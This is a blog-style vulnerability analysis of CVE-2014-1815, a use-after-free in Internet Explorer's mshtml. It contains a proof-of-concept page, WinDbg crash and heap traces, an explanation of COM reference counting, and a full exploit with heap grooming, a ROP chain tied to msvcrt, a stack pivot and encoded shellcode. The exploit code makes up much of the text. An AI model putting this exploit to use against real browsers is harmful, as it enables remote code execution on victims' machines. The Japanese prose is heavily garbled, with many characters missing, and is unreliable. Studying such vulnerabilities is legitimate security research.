CVE-2014-1815脆弱性分析

10061 ワード

これまでブログの記録を書く習慣がなかったので、今日から雑多な知識を記録して、後で復習して見るようにします.
脆弱性の概要
この脆弱性はずっと前に分析したIEのUAFで、その时の脆弱性の利用はまだ比较的に简単で、この2年间は各种の保护メカニズムの加入とシステムの安全の绝えず强化することに従って、脆弱性の利用もますます难しくなります.
まず脆弱性のpocですが、ここのpocは唯一ではなく、脆弱性の原理を知ってから自分で構築することができます.








function chg()
{
    try{
        marq.replaceNode(document.createTextNode("node"));
        }catch(exception){}
    
    CollectGarbage();
}

function init(){
    document.body.contentEditable="true";
    try{
        a = document.createElement("frameset")
        marq.applyElement(a);
        }catch(exception){}
    try{
        document.selection.createRange().select(); 
        }catch(exception){}
}




                      


 
 


init() frameset , frameset marquee ; document.selection.createRange().select() onresize , , marquee 。

0:008> r
eax=07afafa0 ebx=07afafa0 ecx=038fc1d8 edx=00000000 esi=07afafa0 edi=00000000
eip=637d8993 esp=038fc198 ebp=038fc1b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CElement::GetBoundingRect+0xd:
637d8993 8b5614          mov     edx,dword ptr [esi+14h] ds:0023:07afafb4=????????

クラッシュポイント に づいて、UAFであると に することができ、コマンドheap -p -a esiを してesiの スタックを することができ、DOM のUAFであると に することができる.
0:008> !heap -p -a 07afafb4
    address 07afafb4 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    753fcc8:          7afa000             2000
    7c947553 ntdll!RtlFreeHeap+0x000000f9
    63625b1d mshtml!CTableCell::`vector deleting destructor'+0x00000022
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63625df6 mshtml!CElement::PrivateExitTree+0x00000011
    636266b2 mshtml!CMarkup::UnloadContents+0x00000381
    63626a3d mshtml!CMarkup::Passivate+0x00000085
    63640d40 mshtml!CEventObj::Release+0x0000000e
    6364113b mshtml!CElement::PrivateRelease+0x00000038
    6363d0ae mshtml!PlainRelease+0x00000025
    63663c03 mshtml!PlainTrackerRelease+0x00000014
    633a10b4 jscript!VAR::Clear+0x0000005c
    6339fb4a jscript!GcContext::Reclaim+0x000000ab
    6339fd33 jscript!GcContext::CollectCore+0x00000113
    63405594 jscript!JsCollectGarbage+0x0000001d
    633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
    633a6650 jscript!VAR::InvokeByDispID+0x0000017c

び しスタックを すると、プログラムが document.selection.createRange().select()を するときにクラッシュをトリガーしていることが らかになります.
0:008> k
ChildEBP RetAddr  
038fc1b8 63823b86 mshtml!CElement::GetBoundingRect+0xd
038fc1ec 63823bcc mshtml!CLayout::ScrollElementIntoView+0x14f
038fc210 63944455 mshtml!CLayout::ScrollRectIntoView+0x98
038fc250 63827a0c mshtml!CLayout::ScrollRangeIntoView+0x54
038fc364 63978a3a mshtml!CFlowLayout::ScrollRangeIntoView+0x176
038fc3cc 6397a575 mshtml!CAutoRange::scrollIntoView+0x1cc
038fc3ec 635ebdd1 mshtml!CAutoRange::select+0x4c
  • は、サンプルにおいてクラッシュをトリガする の に なブレークポイントを え、プログラム
  • を する.
  • プログラムはさっき したブレークポイント で し、ここで マシンスナップショット
  • を つ.
  • 、プログラム クラッシュ、プログラムクラッシュポイント
  • を する.
  • はスナップショットを し、このときのesi を すると、ページ marqueeオブジェクト
  • であることがわかる.
  • にブレークポイントを き、プログラムはオブジェクトが されたとき( の の のみが されるため) の び しスタックに づいて、onresizeイベント を するときに が され、onresizeイベントはselect によって
  • がトリガーされることを す.
    0:008> k
    ChildEBP RetAddr  
    038f8d00 63625b08 mshtml!CElement::~CElement+0xb
    038f8d0c 63628a50 mshtml!CTableCell::`vector deleting destructor'+0xd
    ......
    038f8e80 6339ffc0 jscript!VAR::Clear+0x5c
    038f8ea8 6339fb4a jscript!GcAlloc::ReclaimGarbage+0x91
    038f8ec4 6339fd33 jscript!GcContext::Reclaim+0xab
    038f8ed8 6339fc28 jscript!GcContext::CollectCore+0x113
    038f8eec 63405594 jscript!GcContext::Collect+0x51
    038f8ef4 633a8561 jscript!JsCollectGarbage+0x1d
    .......
    038fc120 636fa0f5 mshtml!COmWindowProxy::Fire_onresize+0x20
    038fc128 6361b404 mshtml!CElement::Fire_onresize+0x54
    038fc158 6361b2c5 mshtml!CView::ExecuteEventTasks+0x21c
    038fc19c 6361bf1a mshtml!CView::EnsureView+0x325
    038fc1b8 63823b66 mshtml!CElement::EnsureRecalcNotify+0x17c
    038fc1ec 63823bcc mshtml!CLayout::ScrollElementIntoView+0x132  
  • は、オブジェクトポインタがebxレジスタに っていることを す.CElement::EnsureRecalcNotifyが び すとメッセージがトリガーされてオブジェクトが され、 が るとオブジェクトポインタに びアクセスするときにクラッシュ
  • が する.

    オブジェクトの から オブジェクトのライフサイクルを し、 オブジェクトが されている に される .ieのDOMオブジェクトは にCOMの であり、COMコンポーネントオブジェクトはいずれも カウントを してライフサイクルメンテナンスを い、 カウントが0の 、オブジェクトは される. カウントDOMオブジェクトオフセット0 x 4の に されているオブジェクト.
    COMオブジェクトの は のルールに う
  • は、 る にAddRefを び す.インタフェースポインタを す については、 る に するポインタに してAddRefを び す があります.これらの には、QueryInterfaceおよびCreateInstanceが まれます.これにより、お がこの からインタフェースを た に.AddRefを び す はありません.
  • インタフェースが された に、Releaseが び される.インタフェースを した 、これらのインタフェースのRelease を び す があります.
  • は、 り て にAddRef.を び す.あるインタフェースポインタを のインタフェースポインタに り てる は、AddRefを び す があります.すなわち、インタフェースの の が された 、 するコンポーネントの を やす があります.

  • また、 を するために、 カウントは の ルールに います.
  • パラメータまたは り として しいインタフェースポインタを す は、AddRef
  • をいくつかのインタフェースポインタに して び す がある.
  • に するインタフェースポインタは、AddRefおよびReleaseを び す はありません.これは、 のライフサイクルが び し のライフサイクル にネストされているためです.
  • パラメータで されたインタフェースポインタについては、 のインタフェースポインタ を り てる にReleaseを び す があります. が る に、 パラメータに されているインタフェースポインタにAddRefを び す があります.
  • ローカル インタフェースポインタは、 の の にしか しないため、AddRefおよびReleaseを び す はありません.
  • グローバル に されているインタフェースポインタについては、 の に す にAddRefを び す があります.

  • COMオブジェクト カウントルールの の で、 の パラメータと の は カウントの を き こさないことがわかります.
    に ると、CLayout::ScrollElementIntoView はCMarqueeオブジェクトポインタを パラメータとし、COMインタフェースの カウント に って パラメータのCMarqueeオブジェクトとして カウントを する がなくてもよい する を する.しかしながら、CLayout::ScrollElementIntoView は、 プロセスにおいて を び し、イベント においてmarqueeオブジェクトが き えられ、すなわちjsレベルでmarqオブジェクトにアクセスできなくなると、ieのゴミ は、アクセスできないデータをゴミとして し、CMarqueeを する. に ると、 の の は
    pHTML->pSomeNode = new CMarquee():m_ref(1);
    ......
    PDWORD pTmp = pHTML->pSomeNode;       //         
    CLayout::ScrollElementIntoView(pTmp ,)          // IN          
    {
       PDWORD pOld = pHTML->pSomeNode;       //          
       pHTML->pSomeNode = new CTextNode();
       pOld->Release();                                             // CollectGarbage
    }
    pTmp ???
    

    にIE の カウント はCOMの に に っていないが、 な では くの が カウントを していない があり、 にはさらに している.なぜこんなに しているのか、 くの しく できるのかはまだ からない.
    この には くの があるはずだが, で しなければならない.

    UAFの についてはネット ではすでに くの がありますが、ここでは しく せず、コードを るだけです.ここでの コードは、 のオブジェクトスタック ビットを するのではなく、 なオブジェクトt:ANIMATECOLORを する.このオブジェクトの に されているデータは アドレスであり, いので, びとして ることができる.
    
    
    
    
    
    
    
    
    
    function int2escape(a)
     {
       var b = a.toString(16);
       var len = b.length;
       if(len<8)
       {
         for(var i=0;i<(8-len);i++)
         {
           b = '0'+b;
         }
       }
       var result = unescape("%u"+b.substring(4,8)+"%u"+b.substring(0,4));//if the int is 0x00111111...
       return result;
     }
     
     String.prototype.repeat=function(i){return new Array(isNaN(i)?1:++i).join(this);}
    
             
    
    var msvcrt_base = 0x77be0000;
    
    var xchg_eax_esp = msvcrt_base+0x5ed5;
    var call_virtualprotect = msvcrt_base+0x1c0b0;
    var pop_ebp_ret = msvcrt_base+0xef31;
    
    var rop="";
    var pivot = int2escape(xchg_eax_esp);
    var shellcode = unescape("%u33FC%u68C0%u8963%u4FD1%u5168%uA22F%u8B01%u8DF4%uF87E%uDB33%uEC81%u0400%u0000%u6850%u6C65%u3233%u6B68%u7265%u546E%uD233%u8B64%u305A%u4B8B%u8D0C%u1C51%uC28B%u5657%uC933%u148B%u3B0A%u74C2%u8B79%u2072%u7C8D%u0C24%u08B1%u448A%uFE4E%u5C8A%uFF0F%uC9FE%uC33A%uF274%uF980%u75FF%u8BDB%u086A%u5F5E%u60AD%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u633D%uD189%u754F%uEBB5%u5B10%u016A%uFF53%uF857%uFF53%uFC57%uC483%u6120%uE8C3%uFFEB%uFFFF%u6163%u636C%u652e%u6578%u0000%u0000");
    
    var roparray = new Array();
    var index_rop = 0;
    roparray[index_rop++] = int2escape(pop_ebp_ret);
    roparray[index_rop++] = int2escape(0x121211be);
    roparray[index_rop++] = int2escape(call_virtualprotect);
    roparray[index_rop++] = int2escape(0x12121216);
    
    for(var i = 0; i <roparray.length ; i++)
    {
        rop+=roparray[i];
    }
    
    animvalues = unescape("%u1414%u1415") // LockWorkstation
     while(animvalues.length < 0x70/2) {
       animvalues += animvalues;
      }
      animvalues += pivot;
      animvalues += rop;
      //animvalues += shellcode;
      while(animvalues.length < 0xDC) {
       animvalues += unescape("%u1414%u1415");
      }
      
      cheat = unescape("%u0001u77be");
      
    for(i = 1; i < 0x60/4; i++) {
       animvalues += ";" + cheat;
    }
    
    var ll=new Array();
    for (i=0;i<333;i++)ll.push(document.createElement("img"));
    for(i=0;i<333;i++) ll[i].className=tpx;
    for(i=0;i<333;i++) ll[i].className="";
    
    var flag = 0;
    function chg()
    {
        if(!flag)
        {
            marq.replaceNode(document.createTextNode("xp")); //release
            flag = 1;
        }
        else
        {
        }
        CollectGarbage();
        a=document.getElementById('myanim');
        a.values=animvalues;
    }
    
    function init(){
        document.body.contentEditable="true";
        try{
            a = document.createElement("frameset")
            marq.applyElement(a);
            }catch(exception){}
        try{
            document.selection.createRange().select(); 
            }catch(exception){alert('11')}
    }